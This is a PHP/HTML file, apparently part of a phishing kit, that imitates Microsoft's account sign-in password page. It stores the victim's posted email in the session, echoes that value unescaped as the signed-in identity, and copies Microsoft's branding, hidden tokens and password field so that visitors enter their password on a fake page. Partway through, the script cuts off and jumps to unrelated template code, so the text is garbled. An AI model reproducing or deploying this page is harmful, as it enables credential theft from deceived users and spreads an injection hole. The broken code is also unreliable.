2019-08-30 23:28:12 +08:00
< ? php
2019-06-15 13:56:50 +08:00
if ( isset ( $_POST [ " Email " ])){
$_SESSION [ " Email " ] = $_POST [ " Email " ];
}
?>
< html dir = " ltr " lang = " EN-US " >< head >< meta http - equiv = " Content-Type " content = " text/html; charset=utf-8 " >< script type = " text/javascript " > var PROOF = {}; PROOF . Type = { SQSA : 6 , CSS : 5 , DeviceId : 4 , Email : 1 , AltEmail : 2 , SMS : 3 , HIP : 8 , Birthday : 9 , TOTPAuthenticator : 10 , RecoveryCode : 11 , StrongTicket : 13 , TOTPAuthenticatorV2 : 14 , UniversalSecondFactor : 15 , Voice : - 3 }; </ script >< noscript >< meta http - equiv = " Refresh " content = " 0; URL=https://login.live.com/jsDisabled?mkt=EN-US&lc=1033&uaid=c32114cb67f1490b46720d4d540fe260 " /> Microsoft account requires JavaScript to sign in . This web browser either does not support JavaScript , or scripts are being blocked .< br />< br /> To find out whether your browser supports JavaScript , or to allow scripts , see the browser 's online help.</noscript><title>Sign in to your Microsoft account</title><meta name="robots" content="none"><meta name="PageID" content="i5030"><meta name="SiteID" content="38936"><meta name="ReqLC" content="1033"><meta name="LocLC" content="1033"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes"><script type="text/javascript">!function(e,r){for(var t in r)e[t]=r[t]}(this,function(e){function r(n){if(t[n])return t[n].exports;var o=t[n]={exports:{},id:n,loaded:!1};return e[n].call(o.exports,o,o.exports,r),o.loaded=!0,o.exports}var t={};return r.m=e,r.c=t,r.p="",r(0)}([function(e,r){!function(){function e(){return s.$Config||s.ServerData||{}}function r(e,r){var t=s.$Debug;t&&t.appendLog&&(r&&(e+=" ' " +(r.src||r.href|| " " )+ " '",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(e){var r=e.indexOf("?"),t=r>-1?r:e.length;return t>u&&e.substr(t-u,u).toLowerCase()===c}function n(){var r=e(),t=r.loader||{};return t.slReportFailure||r.slReportFailure||!1}function o(){var r=e(),t=r.loader||{};return t.redirectToErrorPageOnLoadFailure||!1}function a(e){var r=!0,n=e.src||e.href||"";if(n){if(t(n))try{e.sheet&&e.sheet.cssRules&&!e.sheet.cssRules.length&&(r=!1)}catch(o){}}else r=!1;return r}function i(){function n(e){var r=d.getElementsByTagName("head")[0];r.appendChild(e)}function o(e,r,n){var o=t(e)?i(e):s(e);return r&&(o.id=r),o.setAttribute&&(o.setAttribute("crossorigin","anonymous"),n&&o.setAttribute("integrity",n)),o}function i(e){var r=d.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function s(e){var r=d.createElement("script");return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function c(e){if(!(p&&p.length>1))return e;for(var r=0;r<p.length;r++)if(0===e.indexOf(p[r]))return p[r+1<p.length?r+1:0]+e.substring(p[r].length);return e}function u(e,t,n,o){return r("[$Loader]: "+(y.failMessage||"Failed"),o),L[e].retry<g?(L[e].retry++,void f(e,t,n)):void(n&&n())}function l(e,t,n,o){a(o)?(r("[$Loader]: "+(y.successMessage||"Loaded"),o),f(e+1,t,n)):u(e,t,n,o)}function f(e,t,a){if(e<L.length){var i=L[e];if(!i||!i.srcPath)return void f(e+1,t,a);i.retry>0&&(i.srcPath=c(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var s=o(i.srcPath,i.id,i.integrity);s.onload=function(){l(e,t,a,s)},s.onerror=function(){u(e,t,a,s)},s.onreadystatechange=function(){"loaded"===s.readyState?setTimeout(function(){l(e,t,a,s)},500):"complete"===s.readyState&&l(e,t,a,s)},n(s),r("[$Loader]: Loading ' " +(i.srcPath|| " " )+ " ' , id : " +(i.id|| " " ))}else t&&t()}var h=e(),g=h.slMaxRetry||2,v=h.loader|| { },p=v.cdnRoots||[],y=this,L=[];y.retryOnError=!0,y.successMessage= " Loaded " ,y.failMessage= " Error " ,y.Add=function(e,r,t,n) { e&&L.push( { srcPath:e,id:r,retry:n||0,integrity:t})},y.AddForReload=function(e) { var r=e.src||e.href|| " " ;y.Add(r, " AddForReload " ,e.integrity,1)},y.AddIf=function(e,r,t) { e&&y.Add(r,t)},y.Load=function(e,r) { f(0,e,r)}}var s=window,d=s.document,c= " . css " ,u=c.length;i.On=function(e,r) { if(!e)throw " The target element must be provided and cannot be null . " ;r?i.OnError(e):i.OnSuccess(e)},i.OnSuccess=function(e) { var t=e.src||e.href|| " " ,s=n(),d=o();if(!e)throw " The target element must be provided and cannot be null . " ;if(a(e)) { r( " [ $Loader ] : Loaded
params : {
serverData : svr ,
showButtons : svr . f ,
showFooterLinks : true ,
useWizardBehavior : svr . av ,
handleWizardButtons : false ,
password : password ,
hideFromAria : ariaHidden },
event : {
footerAgreementClick : footer_agreementClick } } " ><!-- ko template: { nodes: $componentTemplateNodes , data: $parent } --><!-- ko if: svr.aM --><!-- /ko --> <div class= " middle " data-bind= " css : { 'app' : backgroundLogoUrl } " ><!-- ko if: backgroundLogoUrl() && !(paginationControlMethods() && paginationControlMethods().currentViewHasMetadata('hideLogo')) --><!-- /ko --> <div class= " inner fade - in - lightbox " data-bind= "
animationEnd : paginationControlMethods () & amp ; & amp ; paginationControlMethods () . view_onAnimationEnd ,
css : {
'app' : backgroundLogoUrl ,
'wide' : paginationControlMethods () & amp ; & amp ; paginationControlMethods () . currentViewHasMetadata ( 'wide' ),
'fade-in-lightbox' : fadeInLightBox ,
'has-popup' : showFedCredButton ,
'transparent-lightbox' : backgroundControlMethods () & amp ; & amp ; backgroundControlMethods () . useTransparentLightBox } " > <div class= " lightbox - cover " data-bind= " css : { 'disable-lightbox' : svr . BX & amp ; & amp ; showLightboxProgress () } " ></div><!-- ko if: showLightboxProgress --><!-- /ko --><!-- ko ifnot: paginationControlMethods() && (paginationControlMethods().currentViewHasMetadata('hideLogo')) --> <div data-bind= " component : { name : 'logo-control' ,
params : {
isChinaDc : svr . fIsChinaDc ,
bannerLogoUrl : bannerLogoUrl () } } " ><!-- --><!-- ko if: bannerLogoUrl --><!-- /ko --><!-- ko if: !bannerLogoUrl && !isChinaDc --><!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko --><!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme --> <!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class= " logo " pngsrc= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / microsoft_logo . png ? x = ed9c9eb0dce17d752bedea6b5acda6d9 " svgsrc= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / microsoft_logo . svg ? x = ee5c8d9fb6248c938fd0dc19370e90bd " data-bind= " imgSrc , attr : { alt : str [ 'MOBILE_STR_Footer_Microsoft' ] } " src= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / microsoft_logo . svg ? x = ee5c8d9fb6248c938fd0dc19370e90bd " alt= " Microsoft " ><!-- /ko --> <!-- /ko --><!-- /ko --> <!-- /ko --></div><!-- /ko --><!-- ko if: svr.Cr && (paginationControlMethods() && !paginationControlMethods().currentViewHasMetadata('hideLwaDisclaimer')) --><!-- /ko --><!-- ko if: asyncInitReady --> <div role= " main " data-bind= " component : { name : 'pagination-control' ,
publicMethods : paginationControlMethods ,
params : {
enableCssAnimation : svr . A6 ,
initialViewId : initialViewId ,
currentViewId : currentViewId ,
initialSharedData : initialSharedData ,
initialError : $loginPage . getServerError () },
event : {
cancel : paginationControl_onCancel ,
showView : $loginPage . view_onShow ,
setLightBoxFadeIn : view_onSetLightBoxFadeIn ,
animationStateChange : paginationControl_onAnimationStateChange } } " ><!-- --> <div data-bind= " css : { 'zero-opacity' : hidePaginatedView () } " class= " " ><!-- ko if: showIdentityBanner() && (sharedData.displayName || svr.g) --> <div data-bind= " css : {
'animate' : animate () & amp ; & amp ; animate . animateBanner (),
'slide-out-next' : animate . isSlideOutNext (),
'slide-in-next' : animate . isSlideInNext (),
'slide-out-back' : animate . isSlideOutBack (),
'slide-in-back' : animate . isSlideInBack () } " class= " animate slide - in - next " > <div data-bind= " component : { name : 'identity-banner-control' ,
params : {
userTileUrl : svr . Br ,
displayName : sharedData . displayName || svr . g ,
isBackButtonVisible : isBackButtonVisible (),
focusOnBackButton : isBackButtonFocused (),
backButtonDescribedBy : backButtonDescribedBy () },
event : {
backButtonClick : identityBanner_onBackButtonClick } } " ><!-- --> <div class= " identityBanner " ><!-- ko if: isBackButtonVisible --> <button type= " button " onclick= " window . history . go ( - 1 ); return false ; " class= " backButton " data-bind= "
attr : { 'id' : backButtonId || 'idBtn_Back' },
ariaLabel : str [ 'CT_HRD_STR_Splitter_Back' ],
ariaDescribedBy : backButtonDescribedBy ,
click : backButton_onClick ,
hasFocus : focusOnBackButton " id= " idBtn_Back " aria-label= " Back " ><!-- ko ifnot: svr.bH --><!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko --><!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme --> <!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role= " presentation " pngsrc= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / arrow_left . png ? x = 7 cc096da6aa2dba3f81fcc1c8262157c " svgsrc= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / arrow_left . svg ? x = a9cc2824ef3517b6c4160dcf8ff7d410 " data-bind= " imgSrc " src= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / arrow_left . svg ? x = a9cc2824ef3517b6c4160dcf8ff7d410 " ><!-- /ko --> <!-- /ko --><!-- /ko --><!-- /ko --><!-- ko if: svr.bH --><!-- /ko --> </button><!-- /ko --> <div id= " displayName " class= " identity " data-bind= " text : unsafe_displayName , attr : { 'title' : unsafe_displayName } " title= " < ? php echo $_POST [ " Email " ]; ?> "><?php echo $_POST["Email"]; ?></div> </div></div> </div><!-- /ko --> <div class="pagination-view animate has-identity-banner slide-in-next" data-bind="css: {
'has-identity-banner' : showIdentityBanner () & amp ; & amp ; ( sharedData . displayName || svr . g ),
'zero-opacity' : hidePaginatedView . hideSubView (),
'animate' : animate (),
'slide-out-next' : animate . isSlideOutNext (),
'slide-in-next' : animate . isSlideInNext (),
'slide-out-back' : animate . isSlideOutBack (),
'slide-in-back' : animate . isSlideInBack () } " ><!-- ko foreach: views --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --> <!-- ko template: { nodes: [ $data ], data: $parent } --><div data-viewid= " 2 " data-showidentitybanner= " true " data-dynamicbranding= " true " data-bind= " pageViewComponent : { name : 'login-paginated-password-view' ,
params : {
serverData : svr ,
serverError : initialError ,
isInitialView : isInitialState ,
username : sharedData . username ,
displayName : sharedData . displayName ,
hipRequiredForUsername : sharedData . hipRequiredForUsername ,
passwordBrowserPrefill : sharedData . passwordBrowserPrefill ,
availableCreds : sharedData . availableCreds ,
evictedCreds : sharedData . evictedCreds ,
useEvictedCredentials : sharedData . useEvictedCredentials ,
flowToken : sharedData . flowToken ,
defaultKmsiValue : svr . Z === 1 ,
userTenantBranding : sharedData . userTenantBranding ,
sessions : sharedData . sessions ,
callMetadata : sharedData . callMetadata ,
gitHubRedirectUrl : sharedData . gitHubParams . redirectUrl || svr . m ,
googleRedirectUrl : sharedData . googleParams . redirectUrl || svr . AD },
event : {
updateFlowToken : $loginPage . view_onUpdateFlowToken ,
submitReady : $loginPage . view_onSubmitReady ,
redirect : $loginPage . view_onRedirect ,
resetPassword : $loginPage . passwordView_onResetPassword ,
setBackButtonState : view_onSetIdentityBackButtonState ,
setPendingRequest : $loginPage . view_onSetPendingRequest } } " ><!-- --> <input type= " hidden " name= " i13 " data-bind= " value : isKmsiChecked () ? 1 : 0 " value= " 0 " > <input type= " hidden " name= " login " data-bind= " value : unsafe_username " value= " " > <input type= " text " name= " loginfmt " data-bind= " moveOffScreen , value : unsafe_displayName " class= " moveOffScreen " tabindex= " - 1 " aria-hidden= " true " > <input type= " hidden " name= " type " data-bind= " value : svr . av ? 20 : 11 " value= " 11 " > <input type= " hidden " name= " LoginOptions " data-bind= " value : isKmsiChecked () ? 1 : 3 " value= " 3 " > <input type= " hidden " name= " lrt " data-bind= " value : callMetadata . IsLongRunningTransaction " value= " " > <input type= " hidden " name= " lrtPartition " data-bind= " value : callMetadata . LongRunningTransactionPartition " value= " " > <input type= " hidden " name= " hisRegion " data-bind= " value : callMetadata . HisRegion " value= " " > <input type= " hidden " name= " hisScaleUnit " data-bind= " value : callMetadata . HisScaleUnit " value= " " > <div id= " loginHeader " class= " row text - title " role= " heading " aria-level= " 1 " data-bind= " text : str [ 'CT_PWD_STR_EnterPassword_Title' ] " >Enter password</div><!-- ko if: unsafe_pageDescription --><!-- /ko --> <div class= " row " > <div class= " form - group col - md - 24 " > <div role= " alert " aria-live= " assertive " ><!-- ko if: passwordTextbox.error --><!-- /ko --> </div> <div class= " placeholderContainer " data-bind= " component : { name : 'placeholder-textbox-field' ,
publicMethods : passwordTextbox . placeholderTextboxMethods ,
params : {
serverData : svr ,
hintText : str [ 'CT_PWD_STR_PwdTB_Label' ] },
event : {
updateFocus : passwordTextbox . textbox_onUpdateFocus } } " ><!-- ko withProperties: { ' $placeholderText ': placeholderText } --> <!-- ko template: { nodes: $componentTemplateNodes , data: $parent } --> <input name= " passwd " type= " password " id= " i0118 " autocomplete= " off " class= " form - control " aria-required= " true " data-bind= "
textInput : passwordTextbox . value ,
ariaDescribedBy : 'loginHeader passwordDesc' ,
hasFocusEx : passwordTextbox . focused () & amp ; & amp ; ! showPassword (),
placeholder : $placeholderText ,
ariaLabel : unsafe_passwordAriaLabel ,
moveOffScreen : showPassword ,
css : { 'has-error' : passwordTextbox . error } " aria-describedby= " loginHeader passwordDesc " placeholder= " Password " aria-label= " Enter the password for " tabindex= " 0 " autofocus><!-- ko if: svr.by && showPassword() --><!-- /ko --> <!-- /ko --><!-- /ko --><!-- ko ifnot: usePlaceholderAttribute --><!-- /ko --></div><!-- ko if: svr.by --><!-- /ko --> </div> </div><!-- ko if: svr.Ae && showHipOnPasswordView --><!-- /ko --> <div data-bind= " css : { 'position-buttons' : ! tenantBranding . BoilerPlateText } " class= " position - buttons " > <div><!-- ko if: svr.br --><!-- /ko --><!-- ko if: svr.aH !== false && !svr.br && !tenantBranding.KeepMeSignedInDisabled --> <div id= " idTd_PWD_KMSI_Cb " class= " form - group checkbox text - block - body no - margin - top " data-bind= " visible : ! svr . F & amp ; & amp ; ! showHipOnPasswordView " > <label id= " idLbl_PWD_KMSI_Cb " > <input name= " KMSI " id= " idChkBx_PWD_KMSI0Pwd " type= " checkbox " data-bind= " checked : isKmsiChecked , ariaLabel : str [ 'CT_PWD_STR_KeepMeSignedInCB_Text' ] " aria-label= " Keep me signed in " > <span data-bind= " text : str [ 'CT_PWD_STR_KeepMeSignedInCB_Text' ] " >Keep me signed in</span> </label> </div><!-- /ko --> <div class= " row " > <div class= " col - md - 24 " > <div class= " text - 13 action - links " > <div class= " form - group " > <a id= " idA_PWD_ForgotPassword " role= " link " href= " https :// account . live . com / ResetPassword . aspx ? wreply = https :// login . live . com / login . srf % 3 flc % 3 d1033 % 26 contextid % 3 d8E99D5BAD7CA9579 % 26 bk % 3 d1560391134 & amp ; id = 38936 & amp ; uiflavor = web & amp ; uaid = c32114cb67f1490b46720d4d540fe260 & amp ; mkt = EN - US & amp ; lc = 1033 & amp ; bk = 1560391134 " data-bind= " text : str [ 'CT_PWD_STR_ForgotPwdLink_Text' ], href : svr . n , click : resetPassword_onClick " >Forgot my password</a> </div><!-- ko if: allowPhoneDisambiguation --><!-- /ko --><!-- ko ifnot: useEvictedCredentials --><!-- ko component: { name: " cred - switch - link - control " ,
params : {
serverData : svr ,
username : username ,
availableCreds : availableCreds ,
flowToken : flowToken ,
currentCred : { credType : 1 } },
event : {
switchView : credSwitchLink_onSwitchView ,
setPendingRequest : credSwitchLink_onSetPendingRequest ,
updateFlowToken : credSwitchLink_onUpdateFlowToken } } --><!-- --> < div class = " form-group " ><!-- ko if : credentialCount > 1 || ( credentialCount === 1 && ( showForgotUsername || selectedCredShownOnlyOnPicker )) --><!-- / ko --><!-- ko if : credentialCount === 1 && ! ( showForgotUsername || selectedCredShownOnlyOnPicker ) --><!-- / ko --><!-- ko if : credentialCount === 0 && showForgotUsername --><!-- / ko --> </ div ><!-- ko if : credLinkError --><!-- / ko --><!-- / ko --><!-- ko if : evictedCreds . length > 0 --><!-- / ko --><!-- / ko --><!-- ko if : showChangeUserLink --><!-- / ko --> </ div > </ div > </ div > </ div > < div class = " row " data - bind = " css: { 'move-buttons': tenantBranding.BoilerPlateText } " > < div data - bind = " component: { name: 'footer-buttons-field',
params : {
serverData : svr ,
primaryButtonText : str [ 'CT_PWD_STR_SignIn_Button' ],
isPrimaryButtonEnabled : ! isRequestPending (),
isPrimaryButtonVisible : svr . f ,
isSecondaryButtonEnabled : true ,
isSecondaryButtonVisible : false },
event : {
primaryButtonClick : primaryButton_onClick } } " ><div class= " col - xs - 24 no - padding - left - right button - container " data-bind= "
visible : isPrimaryButtonVisible () || isSecondaryButtonVisible (),
css : { 'no-margin-bottom' : removeBottomMargin } " ><!-- ko if: isSecondaryButtonVisible --><!-- /ko --> <div class= " inline - block " ><!-- type= " submit " is needed in-addition to 'type' in primaryButtonAttributes observable to support IE8 --> <input type= " submit " id= " idSIButton9 " class= " btn btn - block btn - primary " data-bind= "
attr : primaryButtonAttributes ,
value : primaryButtonText () || str [ 'CT_PWD_STR_SignIn_Button_Next' ],
hasFocus : focusOnPrimaryButton ,
click : primaryButton_onClick ,
enable : isPrimaryButtonEnabled ,
visible : isPrimaryButtonVisible ,
preventTabbing : primaryButtonPreventTabbing " value= " Sign in " > </div> </div></div> </div> </div><!-- ko if: tenantBranding.BoilerPlateText --><!-- /ko --></div><!-- /ko --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- ko if: $parent .currentViewIndex() === $index () --><!-- /ko --><!-- /ko --> </div> </div></div><!-- /ko --> </div><!-- ko if: showFedCredButton --><!-- /ko --><!-- ko if: newSession --><!-- /ko --> <input type= " hidden " name= " ps " data-bind= " value : postedLoginStateViewId " value= " " > <input type= " hidden " name= " psRNGCDefaultType " data-bind= " value : postedLoginStateViewRNGCDefaultType " value= " " > <input type= " hidden " name= " psRNGCEntropy " data-bind= " value : postedLoginStateViewRNGCEntropy " value= " " > <input type= " hidden " name= " psRNGCSLK " data-bind= " value : postedLoginStateViewRNGCSLK " value= " " > <input type= " hidden " name= " canary " data-bind= " value : svr . canary " value= " " > <input type= " hidden " name= " ctx " data-bind= " value : ctx " value= " " > <input type= " hidden " name= " hpgrequestid " data-bind= " value : svr . sessionId " value= " " > <input type= " hidden " id= " i0327 " data-bind= " attr : { name : svr . CL }, value : flowToken " name= " PPFT " value= " DbZKx3pUePoIb10 * CoE1qpxFW5Qmp4LHfMx ! T5CmsVMWagd ! dlMOxoUzGs1eQxbWqwSyQD1cAv13rTyPGtbDKqUdEhC * z2UCoZiL4g ! 9 jxgm9svXxxv4Bm * NtapfBFRvcknSL81IMO0CGV * FefVp * NVJ2o5QkFkOwk1YxwPCO4btQtMPSETpBQe5r6OzU0mfh7UcqQyBttWvjibejbUimImIme7AZV4ENu1c4GPayzRL * axCInKi2666CLLgJDWuRw $ $ " > <input type= " hidden " name= " PPSX " data-bind= " value : svr . Co " value= " Pass " > <input type= " hidden " name= " NewUser " value= " 1 " > <input type= " hidden " name= " FoundMSAs " data-bind= " value : svr . AA " value= " " > <input type= " hidden " name= " fspost " data-bind= " value : svr . fPOST_ForceSignin ? 1 : 0 " value= " 0 " > <input type= " hidden " name= " i21 " data-bind= " value : wasLearnMoreShown () ? 1 : 0 " value= " 0 " > <input type= " hidden " name= " CookieDisclosure " data-bind= " value : svr . aM ? 1 : 0 " value= " 0 " > <input type= " hidden " name= " IsFidoSupported " data-bind= " value : isFidoSupported () ? 1 : 0 " value= " 0 " > <div data-bind= " component : { name : 'instrumentation-control' ,
publicMethods : instrumentationMethods ,
params : { serverData : svr } } " ><input type= " hidden " name= " i2 " data-bind= " value : clientMode " value= " 1 " > <input type= " hidden " name= " i17 " data-bind= " value : srsFailed " value= " 0 " > <input type= " hidden " name= " i18 " data-bind= " value : srsSuccess " > <input type= " hidden " name= " i19 " data-bind= " value : timeOnPage " value= " " ></div> <div id= " footer " class= " footer default " role= " contentinfo " data-bind= " css : { 'default' : ! backgroundLogoUrl () } " > <div data-bind= " component : { name : 'footer-control' ,
params : {
serverData : svr ,
debugDetails : debugDetails ,
showLinks : true },
event : {
agreementClick : footer_agreementClick } } " ><!-- --><!-- ko if: showLinks || impressumLink || showIcpLicense --> <div id= " footerLinks " class= " footerNode text - secondary " ><!-- ko if: !showIcpLicense --> <span id= " ftrCopy " data-bind= " html : svr . Cq " >©2019 Microsoft</span><!-- /ko --> <a id= " ftrTerms " data-bind= " text : str [ 'MOBILE_STR_Footer_Terms' ], href : termsLink , click : termsLink_onClick " href= " https :// login . live . com / gls . srf ? urlID = WinLiveTermsOfUse & amp ; mkt = EN - US & amp ; vv = 1600 & amp ; uaid = c32114cb67f1490b46720d4d540fe260 " >Terms of use</a> <a id= " ftrPrivacy " data-bind= " text : str [ 'MOBILE_STR_Footer_Privacy' ], href : privacyLink , click : privacyLink_onClick " href= " https :// login . live . com / gls . srf ? urlID = MSNPrivacyStatement & amp ; mkt = EN - US & amp ; vv = 1600 & amp ; uaid = c32114cb67f1490b46720d4d540fe260 " >Privacy & cookies</a><!-- ko if: impressumLink --><!-- /ko --><!-- ko if: showIcpLicense --><!-- /ko --><!-- Set attr binding before hasFocus to prevent Narrator from losing focus --> <a href= " #" role="button" class="moreOptions" data-bind="
click : moreInfo_onClick ,
ariaLabel : str [ 'CT_STR_More_Options_Ellipsis_AriaLabel' ],
attr : { 'aria-expanded' : showDebugDetails () . toString (),
2019-08-30 23:28:12 +08:00
hasFocus : focusMoreInfo () } " aria-label= " Click here for troubleshooting information " aria-expanded= " false " ><!-- ko component: { name: 'accessible-image-control', params: { hasDarkBackground: true } } --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --> <!-- ko template: { nodes: [lightImageNode], data: $parent } --><img class= " desktopMode " role= " presentation " pngsrc= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / ellipsis_white . png ? x = 0 ad43084800fd8b50a2576b5173746fe " svgsrc= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / ellipsis_white . svg ? x = 5 ac590ee72bfe06a7cecfd75b588ad73 " data-bind= " imgSrc " src= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / ellipsis_white . svg ? x = 5 ac590ee72bfe06a7cecfd75b588ad73 " ><!-- /ko --><!-- /ko --><!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme --><!-- /ko --><!-- /ko --><!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko --><!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme --> <!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class= " mobileMode " role= " presentation " pngsrc= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / ellipsis_grey . png ? x = 5 bc252567ef56db648207d9c36a9d004 " svgsrc= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / ellipsis_grey . svg ? x = 2 b5d393db04a5e6e1f739cb266e65b4c " data-bind= " imgSrc " src= " https :// logincdn . msauth . net / 16.000 . 28215.2 / images / ellipsis_grey . svg ? x = 2 b5d393db04a5e6e1f739cb266e65b4c " ><!-- /ko --> <!-- /ko --><!-- /ko --> </a> </div><!-- ko if: showDebugDetails --><!-- /ko --> <!-- /ko --></div> </div> </div> <!-- /ko --></div><!-- /ko --> </form> <form method= " post " aria-hidden= " true " target= " _top " data-bind= " autoSubmit : postRedirectForceSubmit , attr : { action : postRedirectUrl } " ><!-- ko foreach: postRedirectParams --><!-- /ko --> </form><!-- ko if: svr.AV && !svr.Aw --><!-- /ko --><!-- ko if: svr.Aw && callMsaStaticMeControl() --><!-- /ko --><!-- ko if: svr.As --><!-- /ko --></div></body></html>